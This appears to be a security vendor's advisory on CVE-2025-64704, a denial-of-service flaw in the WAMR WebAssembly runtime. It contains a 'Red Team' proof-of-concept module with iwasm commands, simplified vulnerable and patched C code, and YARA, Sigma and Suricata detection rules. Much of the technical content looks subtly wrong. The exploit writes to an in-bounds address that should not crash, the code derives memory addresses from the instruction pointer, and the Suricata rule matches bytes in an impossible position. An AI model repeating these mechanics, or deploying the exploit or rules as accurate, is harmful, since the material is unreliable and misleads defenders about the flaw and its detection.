CVE-2025-64704

Executive Summary

CVE-2025-64704 is a denial-of-service (DoS) vulnerability affecting the Bytecode Alliance's WebAssembly Micro Runtime (WAMR), a lightweight standalone WebAssembly runtime. The flaw resides in the handling of the v128.store instruction, which can cause a segmentation fault (null pointer dereference) when processing a maliciously crafted WebAssembly module. This leads to a crash of the runtime, effectively denying service to legitimate users.

The vulnerability has a CVSS score of 4.7 (Medium) and a low EPSS score of 0.0%, indicating that exploitation is not currently widespread. However, given WAMR's use in embedded systems, IoT devices, and edge computing, the impact on availability could be significant in constrained environments.

Affected Ecosystem: WAMR is a C-based runtime, not an NPM, PyPI, Go, or Ruby package. Therefore, no supply chain package security section is applicable.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or be able to load a malicious Wasm module.
• Attack Complexity (AC): High (H) – Exploitation requires crafting a specific Wasm binary that triggers the fault.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – A user must load the malicious module.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data leakage.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The runtime crashes, causing a denial of service.

Threat Level: Medium. The vulnerability is not remotely exploitable without user interaction, but in environments where WAMR processes untrusted Wasm modules (e.g., plugin systems, sandboxed code execution), it poses a real risk of service disruption.

Deep Dive & Mechanics

The vulnerability is a null pointer dereference (CWE-476) in the WAMR interpreter's handling of the v128.store instruction. The v128.store instruction stores a 128-bit vector value to a memory address. In the vulnerable code, the runtime fails to properly validate the memory address or the pointer used for the store operation, leading to a segmentation fault when the address is null or invalid.

Root Cause: The issue lies in the wasm_interp_fast.c or similar interpreter file, where the v128.store opcode handler does not check if the computed memory address is within valid bounds or if the base pointer is null. When a crafted Wasm module provides an out-of-bounds or null address, the runtime attempts to write to that address, causing a crash.

Trigger: An attacker crafts a WebAssembly binary (.wasm) that includes a v128.store instruction with an invalid memory address. When WAMR loads and executes this module, the interpreter dereferences the null pointer, resulting in a segmentation fault.

Impact: The primary impact is denial of service. The runtime process terminates, potentially affecting all services relying on that instance. In embedded systems, this could lead to a full system reset or watchdog timeout.

Vulnerable vs. Patched Code

The patch in version 2.4.4 adds a null pointer check before performing the store operation.

Vulnerable Code (simplified):

// In wasm_interp_fast.c or similar
case WASM_OP_V128_STORE:
{
    uint8 *addr = (uint8 *)frame_ip + operand1;
    // No null check on addr
    *(int128 *)addr = value;
    break;
}

Patched Code (simplified):

case WASM_OP_V128_STORE:
{
    uint8 *addr = (uint8 *)frame_ip + operand1;
    if (addr == NULL) {
        wasm_set_exception(module, "null pointer dereference");
        goto exception;
    }
    *(int128 *)addr = value;
    break;
}

The patch ensures that if the computed address is null, an exception is raised instead of a crash.

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Crash a WAMR runtime by loading a malicious Wasm module.

Lab Setup:

1. Install WAMR version 2.4.3 or earlier.
2. Compile a malicious Wasm module using a custom tool or by modifying a valid module.

Exploit Steps:

1. Create a Wasm module that uses the v128.store instruction with an invalid memory address.
2. Use a tool like wabt (WebAssembly Binary Toolkit) to craft the binary:

   # Example using wat2wasm
   cat > exploit.wat << EOF
   (module
     (memory 1)
     (func (export "exploit")
       v128.const i32x4 0 0 0 0
       i32.const 0x0
       v128.store align=16
     )
   )
   EOF
   wat2wasm exploit.wat -o exploit.wasm
   

3. Load the module in WAMR:

   iwasm exploit.wasm
   

4. Observe the segmentation fault.

Expected Outcome: The runtime crashes with a segmentation fault.

Blue Team (Defense)

Detection:

• Monitor for crashes or segmentation faults in WAMR processes.
• Use runtime monitoring tools to detect abnormal process terminations.

Mitigation:

• Update to WAMR version 2.4.4 or later.
• If patching is not possible, implement a wrapper that validates Wasm modules before execution (e.g., using a sandbox or static analysis).
• Restrict the ability to load untrusted Wasm modules.

Indicators of Compromise (IOCs)

• Process Crash: WAMR process terminates with signal SIGSEGV (11).
• Log Entry: System logs showing segfault at <address> ip <ip> sp <sp> error 6 in iwasm.
• File Hash: Malicious Wasm module with specific structure triggering the vulnerability.
• Network: No network IOCs as this is a local vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_64704_WAMR_v128_store {
    meta:
        description = "Detects malicious Wasm modules exploiting CVE-2025-64704"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64704"
    strings:
        $v128_store = { FD ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
        $null_addr = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
    condition:
        $v128_store and $null_addr
}

Sigma Rule

title: WAMR Segmentation Fault Detection
id: 7b8c3d2e-1f4a-5b6c-7d8e-9f0a1b2c3d4e
status: experimental
description: Detects WAMR crashes caused by CVE-2025-64704
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/iwasm'
        ExitCode: 139
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-64704 WAMR v128.store Exploit Attempt"; flow:to_server,established; content:"|00 61 73 6d|"; depth:4; content:"|FD|"; distance:0; within:1; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; distance:0; within:16; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade WAMR to version 2.4.4 or later.
• If upgrade is not possible, apply the patch manually from the official repository.

Long-term:

• Implement input validation for all Wasm modules before execution.
• Use runtime sandboxing (e.g., seccomp, AppArmor) to limit the impact of crashes.
• Monitor for abnormal process terminations in production environments.

Workaround:

• Disable the v128 SIMD feature if not required, by compiling WAMR with -DWAMR_DISABLE_SIMD=1.

Valters IT